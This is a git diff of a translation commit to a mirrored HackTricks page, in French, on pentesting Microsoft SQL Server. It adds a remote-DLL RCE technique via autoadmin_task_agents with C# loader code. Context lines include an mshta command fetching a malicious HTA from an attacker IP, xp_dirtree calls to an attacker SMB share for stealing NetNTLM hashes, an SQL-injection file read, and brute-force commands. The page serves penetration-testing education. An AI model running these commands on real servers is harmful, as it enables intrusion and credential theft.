mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 14:38:27 +00:00
Translated ['network-services-pentesting/pentesting-mssql-microsoft-sql-
This commit is contained in:
parent
a524fddcab
commit
17087d8124
1 changed files with 89 additions and 29 deletions
|
@ -1,25 +1,25 @@
|
|||
# 1433 - Pentesting MSSQL - Microsoft SQL Server
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Informations de base
|
||||
## Basic Information
|
||||
|
||||
De [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
||||
|
||||
> **Microsoft SQL Server** est un **système de gestion de base de données** relationnelle développé par Microsoft. En tant que serveur de base de données, c'est un produit logiciel dont la fonction principale est de stocker et de récupérer des données selon les demandes d'autres applications logicielles — qui peuvent fonctionner soit sur le même ordinateur, soit sur un autre ordinateur à travers un réseau (y compris Internet).\\
|
||||
> **Microsoft SQL Server** est un **système de gestion de base de données** relationnelle développé par Microsoft. En tant que serveur de base de données, c'est un produit logiciel dont la fonction principale est de stocker et de récupérer des données selon les demandes d'autres applications logicielles — qui peuvent s'exécuter soit sur le même ordinateur, soit sur un autre ordinateur à travers un réseau (y compris Internet).\\
|
||||
|
||||
**Port par défaut :** 1433
|
||||
```
|
||||
|
@ -27,11 +27,11 @@ De [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
|||
```
|
||||
### **Tables Système MS-SQL par Défaut**
|
||||
|
||||
* **Base de données master** : Cette base de données est cruciale car elle capture tous les détails au niveau système pour une instance SQL Server.
|
||||
* **Base de données msdb** : SQL Server Agent utilise cette base de données pour gérer la planification des alertes et des tâches.
|
||||
* **Base de données model** : Sert de modèle pour chaque nouvelle base de données sur l'instance SQL Server, où toute modification comme la taille, le tri, le modèle de récupération, et plus encore est reflétée dans les bases de données nouvellement créées.
|
||||
* **Base de données Resource** : Une base de données en lecture seule qui abrite des objets système qui accompagnent SQL Server. Ces objets, bien qu'ils soient physiquement stockés dans la base de données Resource, sont logiquement présentés dans le schéma sys de chaque base de données.
|
||||
* **Base de données tempdb** : Sert de zone de stockage temporaire pour des objets transitoires ou des ensembles de résultats intermédiaires.
|
||||
* **Base de données master**: Cette base de données est cruciale car elle capture tous les détails au niveau système pour une instance SQL Server.
|
||||
* **Base de données msdb**: SQL Server Agent utilise cette base de données pour gérer la planification des alertes et des tâches.
|
||||
* **Base de données model**: Sert de modèle pour chaque nouvelle base de données sur l'instance SQL Server, où toute modification comme la taille, le tri, le modèle de récupération, et plus encore est reflétée dans les bases de données nouvellement créées.
|
||||
* **Base de données Resource**: Une base de données en lecture seule qui abrite des objets système qui accompagnent SQL Server. Ces objets, bien que physiquement stockés dans la base de données Resource, sont logiquement présentés dans le schéma sys de chaque base de données.
|
||||
* **Base de données tempdb**: Sert de zone de stockage temporaire pour des objets transitoires ou des ensembles de résultats intermédiaires.
|
||||
|
||||
## Énumération
|
||||
|
||||
|
@ -84,7 +84,6 @@ msf> use windows/manage/mssql_local_auth_bypass
|
|||
|
||||
#### Connexion
|
||||
|
||||
|
||||
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
|
||||
```shell
|
||||
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
|
||||
|
@ -174,10 +173,10 @@ SELECT * FROM sysusers
|
|||
* **Serveur** – Des exemples incluent les bases de données, les connexions, les points de terminaison, les groupes de disponibilité et les rôles de serveur.
|
||||
* **Base de données** – Des exemples couvrent le rôle de base de données, les rôles d'application, le schéma, les certificats, les catalogues de texte intégral et les utilisateurs.
|
||||
* **Schéma** – Inclut les tables, les vues, les procédures, les fonctions, les synonymes, etc.
|
||||
2. **Autorisation :** Associée aux securables de SQL Server, des autorisations telles que ALTER, CONTROL et CREATE peuvent être accordées à un principal. La gestion des autorisations se fait à deux niveaux :
|
||||
* **Niveau serveur** utilisant des connexions
|
||||
* **Niveau base de données** utilisant des utilisateurs
|
||||
3. **Principal :** Ce terme fait référence à l'entité à laquelle une autorisation est accordée pour un securable. Les principaux incluent principalement les connexions et les utilisateurs de base de données. Le contrôle d'accès aux securables s'exerce par l'octroi ou le refus d'autorisations ou en incluant des connexions et des utilisateurs dans des rôles dotés de droits d'accès.
|
||||
2. **Permission :** Associée aux securables de SQL Server, des permissions telles que ALTER, CONTROL et CREATE peuvent être accordées à un principal. La gestion des permissions se fait à deux niveaux :
|
||||
* **Niveau Serveur** utilisant des connexions
|
||||
* **Niveau Base de données** utilisant des utilisateurs
|
||||
3. **Principal :** Ce terme fait référence à l'entité à laquelle une permission est accordée pour un securable. Les principaux incluent principalement les connexions et les utilisateurs de base de données. Le contrôle d'accès aux securables s'exerce par l'octroi ou le refus de permissions ou en incluant des connexions et des utilisateurs dans des rôles dotés de droits d'accès.
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
|
@ -249,9 +248,9 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
|
|||
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
|
||||
```
|
||||
### Voler le hachage NetNTLM / Attaque de relais
|
||||
### Voler le hash NetNTLM / Attaque de relais
|
||||
|
||||
Vous devriez démarrer un **serveur SMB** pour capturer le hachage utilisé dans l'authentification (`impacket-smbserver` ou `responder` par exemple).
|
||||
Vous devriez démarrer un **serveur SMB** pour capturer le hash utilisé dans l'authentification (`impacket-smbserver` ou `responder` par exemple).
|
||||
```bash
|
||||
xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
|
@ -291,7 +290,7 @@ Vous pouvez voir comment utiliser ces outils dans :
|
|||
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Abus des Liens de Confiance MSSQL
|
||||
### Abus des liens de confiance MSSQL
|
||||
|
||||
[**Lisez ce post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **pour trouver plus d'informations sur la façon d'abuser de cette fonctionnalité :**
|
||||
|
||||
|
@ -299,7 +298,7 @@ Vous pouvez voir comment utiliser ces outils dans :
|
|||
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Écrire des Fichiers**
|
||||
### **Écrire des fichiers**
|
||||
|
||||
Pour écrire des fichiers en utilisant `MSSQL`, nous **devons activer** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ce qui nécessite des privilèges d'administrateur, puis exécuter certaines procédures stockées pour créer le fichier :
|
||||
```bash
|
||||
|
@ -334,11 +333,11 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
|
|||
```
|
||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||
```
|
||||
### **RCE/Lire des fichiers exécutant des scripts (Python et R)**
|
||||
### **RCE/Read files executing scripts (Python et R)**
|
||||
|
||||
MSSQL pourrait vous permettre d'exécuter des **scripts en Python et/ou R**. Ce code sera exécuté par un **utilisateur différent** de celui utilisant **xp\_cmdshell** pour exécuter des commandes.
|
||||
MSSQL pourrait vous permettre d'exécuter **des scripts en Python et/ou R**. Ce code sera exécuté par un **utilisateur différent** de celui utilisant **xp\_cmdshell** pour exécuter des commandes.
|
||||
|
||||
Exemple essayant d'exécuter un **'R'** _"Hellow World!"_ **ne fonctionne pas** :
|
||||
Exemple essayant d'exécuter un **'R'** _"Hellow World!"_ **ne fonctionnant pas** :
|
||||
|
||||
![](<../../.gitbook/assets/image (393).png>)
|
||||
|
||||
|
@ -389,9 +388,69 @@ Il est possible de **charger un .NET dll dans MSSQL avec des fonctions personnal
|
|||
|
||||
[**Suivez ce lien**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) pour voir un exemple.
|
||||
|
||||
### RCE avec `autoadmin_task_agents`
|
||||
|
||||
Selon [**ce post**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), il est également possible de charger un dll distant et de faire exécuter MSSQL avec quelque chose comme :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```sql
|
||||
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Avec :
|
||||
```csharp
|
||||
using Microsoft.SqlServer.SmartAdmin;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Class1
|
||||
{
|
||||
public class Class1 : TaskAgent
|
||||
{
|
||||
public Class1()
|
||||
{
|
||||
|
||||
Process process = new Process();
|
||||
process.StartInfo.FileName = "cmd.exe";
|
||||
process.StartInfo.Arguments = "/c ping localhost -t";
|
||||
process.StartInfo.UseShellExecute = false;
|
||||
process.StartInfo.RedirectStandardOutput = true;
|
||||
process.Start();
|
||||
process.WaitForExit();
|
||||
}
|
||||
|
||||
public override void DoWork()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override void ExternalJob(string command, LogBaseService jobLogger)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override void Start(IServicesFactory services)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override void Stop()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
|
||||
public void Test()
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
### Autres méthodes pour RCE
|
||||
|
||||
Il existe d'autres méthodes pour obtenir l'exécution de commandes, telles que l'ajout de [procédures stockées étendues](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Assemblies CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Tâches SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), et [scripts externes](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||
Il existe d'autres méthodes pour obtenir l'exécution de commandes, telles que l'ajout de [procédures stockées étendues](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [assemblages CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [tâches SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), et [scripts externes](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||
|
||||
## Escalade de privilèges MSSQL
|
||||
|
||||
|
@ -493,7 +552,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
|
||||
## Extraction des mots de passe des serveurs liés SQL Server
|
||||
|
||||
Un attaquant peut extraire les mots de passe des serveurs liés SQL Server des instances SQL et les obtenir en texte clair, accordant à l'attaquant des mots de passe qui peuvent être utilisés pour acquérir un plus grand contrôle sur la cible. Le script pour extraire et déchiffrer les mots de passe stockés pour les serveurs liés peut être trouvé [ici](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)
|
||||
Un attaquant peut extraire les mots de passe des serveurs liés SQL Server des instances SQL et les obtenir en texte clair, accordant à l'attaquant des mots de passe qui peuvent être utilisés pour acquérir un plus grand contrôle sur la cible. Le script pour extraire et déchiffrer les mots de passe stockés pour les serveurs liés peut être trouvé [ici](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
|
||||
Certaines exigences et configurations doivent être effectuées pour que cette exploitation fonctionne. Tout d'abord, vous devez avoir des droits d'administrateur sur la machine, ou la capacité de gérer les configurations SQL Server.
|
||||
|
||||
|
@ -536,6 +595,7 @@ Vous pourrez probablement **escalader vers Administrateur** en suivant l'une de
|
|||
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||
* [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
|
||||
|
||||
## Commandes automatiques HackTricks
|
||||
```
|
||||
|
@ -594,16 +654,16 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
|
|||
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le hacking AWS :<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Add table
Reference in a new issue